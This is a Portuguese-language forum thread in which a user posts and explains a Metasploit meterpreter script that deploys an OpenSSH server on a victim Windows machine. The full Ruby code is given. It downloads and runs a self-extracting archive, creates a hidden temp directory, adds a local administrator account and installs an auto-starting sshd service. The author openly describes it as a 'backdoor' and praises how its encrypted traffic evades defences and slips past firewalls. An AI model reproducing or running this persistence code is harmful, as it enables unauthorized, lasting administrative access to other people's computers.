Jump to content
  • Revista PROGRAMAR: Já está disponível a edição #60 da revista programar. Faz já o download aqui!

herakty

Criar servidor SSH pelo meterpreter na máquina alvo... mt bom

Recommended Posts

herakty

OpenSSH-Server-Script for Meterpreter v. 1.0

Bom documento para entenderem o meterpreter mais detalhadamente:

http://www.nologin.org/Downloads/Papers/meterpreter.pdf

vou colocar o texto do autor para entenderem o que é feito e também para entenderem esta filosofia de scripts e automatismo no meterpreter... depois farei uma resposta para apresentar o script em si e explicar algumas funcionalidades do meterpreter

o metasploit segue a filosofia de arquitectura modular, o que o torna ilimitado, pois qualquer um pode adcionar algo, particularmente através de scripts, que como todos sabem são formas de automatizar uma série de procedimentos que poderiam ser inseridos/escritos manualmente na consola do meterpreter

meterpreter é uma consola especializada em testes de intrusão, onde em vez de se criar um shell normal na vitima, é criado algo muito potente com montes de funcionalidades base e permite que facilmente criem e usem scripts para automatizar processos, como neste caso todo o processo de instalação e desinstalação (podem ver parte disso na escrita de chaves no registry)

estou a tratar de organizar tudo do metasploit num único tutorial que aborde o suficiente para efectuarem um teste de intrusão com sucesso, recorrendo às melhores técnicas... neste caso até é uma que não só server de evasão, pois ao ser encriptado o tráfego torna-se difícil qualquer equipamento de defesa "entender" o que estão a fazer  :) o que é optimo  :smoke: :cheesygrin:

a ideia é instalarem um servidor SSH na máquina remota para encapsular o tráfego entre a vossa maquina e a vitima, assim como permitir que se faça de proxy... podem ver aqui o autor falar das características e técnicas de proxy deste script para o metasploit

Sobre a funcionalidade Proxy

- use the deployed sshd as proxy-server by connecting to it using the "-D" - socks-proxy function provided by most ssh-clients. Connect to the ssh-server without adding firewall-rules, and traversing nat or firewalls, by reverse-forwarding the sshserver-port to your host before! (Requires an ssh-server on your host too of course.) For this, the sshclient-script may be useful perhaps B)?

Texto completo a descrever o script pelo autor

This is another Meterpreter-Script I`d like to share with the community :

win32-sshserver.rb is a custom meterpreter-script to easily deploy and run a windows openssh-server on a target windows-machine from the meterpreter shell.

It` s based on the OpenSSH-installer available -> here <-.

Basically, the script downloads an SFX-Archive, that just extracts exactly the same files as the OpenSSH-Installer for Windows does, from this page, extracts it, and then creates keys, regvalues and if requested, a new user. When done, OpenSSHd-service is added and run by the script.

The script offers some important extra-features, too :

1. complete uninstall of a server that has been deployed by this script before (including added user, the service, regkeys + all files!)

2. manually download SFX from custom URL or use local file

3. Set custom servicename & description.

Also, the script will by default :

1. auto-download required SFX-archive (if you don`t trust the file : just download manually from -> here <- and examine after simple unpack with 7zip :) , or create your own SFX using my instructions further down! )

2. use random-named install-dir in Windows-Temp directory

3. Add the created user (if creation of a user was requested) to the grp of local admins

The server deployed covers multiple important features for pentesting, especially when used together with my sshclient-script :

- deploy secure a secure "backdoor" on a host, with a "stable" shell. (Though you shouldn`t use if you REALLY want to be stealthy :D )

- use the deployed sshd as proxy-server by connecting to it using the "-D" - socks-proxy function provided by most ssh-clients. Connect to the ssh-server without adding firewall-rules, and traversing nat or firewalls, by reverse-forwarding the sshserver-port to your host before! (Requires an ssh-server on your host too of course.) For this, the sshclient-script may be useful perhaps ;)?

You can download the Script -> here <-, for usage information just run with "-h" parameter!.

Link para download (como já sabem nunca coloco links escondidos... pancada)

http://meterpreter.illegalguy.hostzi.com/downloads/scripts/win32-sshserver.rb

How To create a custom SFX for use with this script :

1. download OpenSSH-binary installer from the page linked above

2. install on your local windows-machine.

3. delete any ssh-host-keys in <Installdir>\etc\, also do not include passwd or group file.

4. delete uninstall.exe in the main install-dir

5. create a custom "complete.cmd" in main-install-dir, just echo`ing "Extraction Complete" or similar.

6. get 7zip SFX-Maker from here.

7. compress all files in the main-install-dir to a .7z archive and open this one in the SFX-Maker.

8. create a self-extracting archive without any banners, texts or similar, that deletes itself after extraction. Choose to the extract files to "%%S"(without the quotes, and without any other char in the input field ;) ), and set custom command to run after extraction. Set this to be "%%S\complete.cmd".

9. Click on "Create SFX" and you are done :)

Now, when running this exe, all the OpenSSH-folders + files should have been extracted to the same folder the SFX is located in. Also, the SFX itself should be gone. If that works : use my script with your custom-sfx-archive happily :) .

Open SSH tradicional e oficial: (para usarem como cliente na vossa maquina ou como server para fazerem o reverse-tcp-bind para que passe nas firewalls, visto a chamada ser feita a partir de dentro da rede)

http://www.openssh.com/

Pequeno Pack SSH para windows em formato linha de comandos (os de linux sabem o que fazer  :D :cheesygrin:)

http://sshwindows.sourceforge.net/

teckV

Share this post


Link to post
Share on other sites
herakty

Vou postar o script para entenderem melhor o meterpreter e suas capacidades

#win32-sshserver.rb
#meterpreter-script to deploy + run OpenSSH
#on the target machine
#written by Oliver "illegalguy" Kleinecke
#v.1.0 2010-04-25

require 'net/http'

session = client

#
# Options
#

@@exec_opts = Rex::Parser::Arguments.new(
"-h"  => [ false, "This help menu"],
  "-f"   => [ true,  "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
  "-U"  => [ true, "Download OpenSSH-SFX from given URL"],
  "-u"  => [ true, "Add windows-user (autoadded to local administrators"],
  "-p"  => [ true, "Password for the new user"],
  "-r"   => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
  "-I"   => [ true, "Install OpenSSH to the given directory"],
  "-F"  => [ false, "Force overwriting of registry-values"],
  "-S"  => [ true, "Set custom service description"],
  "-N"  => [ true, "Set custom service name"],
  "-m"  => [ true, "Do not start the OpenSSH-service after installation"],
  "-t"   => [ true, "Set start-type of the service to manual (Default: auto)"]
)

def usage
print_line("OpenSSH-server deploy+run script")
print_line("This script will deploy OpenSSH + run the SSH-server as a service")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end

def createkey(key)
  root_key, base_key = client.sys.registry.splitkey(key)
  open_key = client.sys.registry.create_key(root_key, base_key)
end
def deletekey(key)
  root_key, base_key = client.sys.registry.splitkey(key)
  rtrncode = client.sys.registry.delete_key(root_key, base_key)
  return rtrncode
end
def setval(key, value, data, type = "REG_SZ")
  root_key, base_key = client.sys.registry.splitkey(key)
  open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
  open_key.set_value(value, client.sys.registry.type2str(type), data)
end
def queryval(key, value)
  root_key, base_key = client.sys.registry.splitkey(key)
  hkey = client.sys.registry.open_key(root_key, base_key)
  valdata = hkey.query_value(value)
  return valdata.data
end
#
# Default values
#
rundir = ENV['HOME']
extractfilename = "#{rundir}" + "/openssh-extract.sfx"
manual = false
username = "none"
password = nil
downloadurl = 'http://meterpreter.illegalguy.hostzi.com/downloads/openssh-extract.sfx'
uninstall = nil
installpath = nil
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
extractexe = nil
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
forced = nil
servicename = "OpenSSHd"
servicedesc = "OpenSSH-Server"
noauto = false
dirname = nil
type = "auto"
#
# Option parsing
#

@@exec_opts.parse(args) { |opt, idx, val|
case opt

  when "-h"
	usage

  when "-f"
    if !val
		print_error("-f requires the SFX-filename as argument !")
		usage
	end
    extractfilename = val
    if not ::File.exists?(extractfilename)
		print_error("OpenSSH-SFX not found/accessible!")
		usage
	end
	manual = true

  when "-U"
    if !val
		print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
		usage
	end
    downloadurl = val

  when "-p"
  if !val
		print_error("-p requires the password (for the windows-user to add) as argument !")
		usage
end
  if val.length > 14
     	print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
		usage
  end
  password = val

  when "-u"
    if !val
		print_error("-u requires the username (for the windows-user to add) as argument!")
		usage
end
  username = val

  when "-r"
	uninstall = true

    when "-I"
    if !val
		print_error("-I requires a directory-name to use as installpath")
		usage
	end
  dirname = val

  when "-F"
    forced = true

  when "-S"
    if !val
		print_error("-S requires s custom string to use as the service-description")
		usage
	end
  servicedesc = val

when "-N"
    if !val
		print_error("-N requires a custom string to use as service-name")
		usage
	end
servicename = val

  when "-m"
    noauto = true

  when "-t"
    type = manual

else
	print_error("Unknown option: #{opt}")
	usage
end
}

#
# Uninstall if selected
#
if uninstall == true
  username = nil
  servicename = nil
  begin
    dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
  rescue
    print_status("Could not find any sshd installed by this script. Please remove manually!")
    deletekey("HKLM\\Software\\Cygnus\ Solutions")
    raise Rex::Script::Completed
  end
  uninstallfile = "#{dirname}\\etc\\uninst.bak"
  uf = client.fs.file.new("#{uninstallfile}", "rb")
  while not uf.eof?
    linesarray = "#{uf.read}".split("\r\n")
    username = linesarray[0]
    servicename = linesarray[1]
  end
  uf.close
  # stop sshd-service, delete it, delete user + files afterwards
  print_status("Stopping the #{servicename}-service....")
  client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
  sleep 2
  print_status("#{servicename} has been stopped.")
  print_status("Deleting the #{servicename}-service....")
  client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
  sleep 1
  print_status("#{servicename} has been deleted.")
  unless username.strip == "none"
    print_status("Deleting user #{username}......")
    client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
    print_status("User #{username} has been deleted")
  end
  print_status("Deleting the directory #{dirname}....")
  client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
  print_status("#{dirname} has been deleted.")
  print_status("Deleting regkeys ....")
  deletekey("HKLM\\Software\\Cygnus\ Solutions")
  print_status("Registry-keys have been deleted .")
  print_status("Uninstall completed!")
  raise Rex::Script::Completed
end

#
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
#
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
  if ( keys.length > 0)
    if not forced == true
      print_error("#{warning}")
      raise Rex::Script::Completed
    end
  end

#
# If file doesn`t exist and file was not manually specified : auto-download
#

if manual == false
  	if not ::File.exists?("#{extractfilename}")
print_status("openssh-extract.sfx could not be found. Downloading it now...")
print_status("#{license}")
extractexe = Net::HTTP.get URI.parse("#{downloadurl}")
open("#{extractfilename}", "wb"){|file| file.write("#{extractexe}")}
print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
downloaded = true
end
end

#
# Generate sshd-dir + upload file to client
#
if dirname == nil
dirname = session.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
print_status("Creating directory #{dirname}.....")
client.fs.dir.mkdir("#{dirname}")
else
  if  !::File.exists?("#{dirname}") && !::File.directory?("#{dirname}")
   print_status("Creating directory #{dirname}.....")
   client.fs.dir.mkdir("#{dirname}")
  end
end
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
session.fs.file.upload_file("#{fileontrgt}","#{extractfilename}")
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")


# Get required infos about the target-system
clientenv = Hash.new
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")
fd = client.fs.file.new("#{envtxtname}", "rb")
	while not fd.eof?
		linesarray = "#{fd.read}".split("\r\n")
          linesarray.each { |line|
          currentline = line.split('=')
          envvarname = currentline[0]
          envvarvalue = currentline[1]
          clientenv["#{envvarname}"] = "#{envvarvalue}"
          }
	end
fd.close

# Do not continue if client-os is not valid

unless clientenv["OS"] == 'Windows_NT'
  print_error("This script will run on Windows-NT based OS only!")
  raise Rex::Script::Completed
end


# Extract the files

print_status("Extracting the files ...")
client.sys.process.execute("#{fileontrgt}")
sleep 3
print_status("Files extracted .. ")

#
# Import required registry keys
#
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))

createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", "#{dirname}")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", "#{homebase}")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")

#
# Provide ACL for System User
#
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")

#
# Add windows-user if requested
#
unless username == "none"
  if password == nil
      print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
      usage
  end
  
  #Get localized name for windows-admin-grp
  admingrpname = nil
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
  sleep 1
  fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
	while not fd.eof?
		linesarray = "#{fd.read}".split("\n")
         linesarray.each { |line|
          if line[0..4] =~ /[aA]dmin/
          admingrpname = line.slice!(/[aA]dmin[a-z]+/)
          end
         }
end
fd.close
sleep 2
client.fs.file.rm("#{dirname}\\groupnames.txt")
print_line("Adding user #{username}....")
client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
print_line("Add user #{username} to #{admingrpname}")
client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
end

#
# Generate /etc/passwd + /etc/group files
#
print_status("Generating /etc/passwd + /etc/group files....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")

#
# Generate SSH-keypairs
#
print_status("Generating SSH-keys .....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")

#
# Add OpenSSH - Service
#
print_status("Adding OpenSSHd-Service.......")
if type == manual
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
else
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
end
print_status("Service successfully installed!")
sleep 2

#
# Save "settings" to txtfile, to be able to del correct user etc afterwards
#
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new("#{uninstallfile}","w")
  uf.write "#{username} \r\n"
  uf.write "#{servicename} \r\n"
uf.close


# Run OpenSSH-service unless noauto was specified
unless noauto == true
  print_status("Starting OpenSSH-Service....")
  client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
  sleep 1
  print_status("OpenSSHd has been started!")
end

# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly

Share this post


Link to post
Share on other sites
IRX773

Bom trabalho mas usa a tag [ code] para o teu post com o script ficar mais legível.

Share this post


Link to post
Share on other sites
herakty
Bom trabalho mas usa a tag [ code] para o teu post com o script ficar mais legível.

eu tinha experimentado mas como se pode ver acho que fica pior... mas como foi pedido fi-lo

também a ideia é comentar o que está a acontecer.... mas ontem não tive tempo... vou fazer-lo depois, porque assim é muito pouco

gostava de vos explicar como trabalhar com as funcionalidades e API da framework do metasploit... depois terei de tirar tudo do code e vou colocar por partes...

para já acedo ao pedido  :D

teckV

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.